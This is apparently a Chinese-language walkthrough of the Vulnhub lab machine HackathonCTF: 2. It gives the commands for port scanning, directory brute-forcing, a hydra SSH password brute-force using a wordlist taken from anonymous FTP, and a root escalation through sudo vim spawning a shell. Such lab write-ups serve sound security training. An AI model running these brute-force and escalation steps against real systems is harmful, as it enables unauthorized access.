Vulnhub: HackathonCTF: 2靶机

发布时间 2023-07-14 15:31:21作者: ctostm

kali:192.168.111.111

靶机:192.168.111.147

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.147

image

ftp存在匿名登陆,其中存在字典文件

image

image

80端口目录爆破

feroxbuster -k -d 1 --url http://192.168.111.147 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -e -C 404,500

image

查看happy的源码提示用户名:hackathonll

image

利用之前得到的字典爆破ssh,得到密码:Ti@gO

hydra -l hackathonll -P ./word.dir 192.168.111.147 -s 7223 ssh -t 64

image

提权

登录目标后查看sudo权限

image

提权方法:https://gtfobins.github.io/gtfobins/vim/#sudo

image

提升为root

sudo -u root vim -c ':!/bin/sh'

image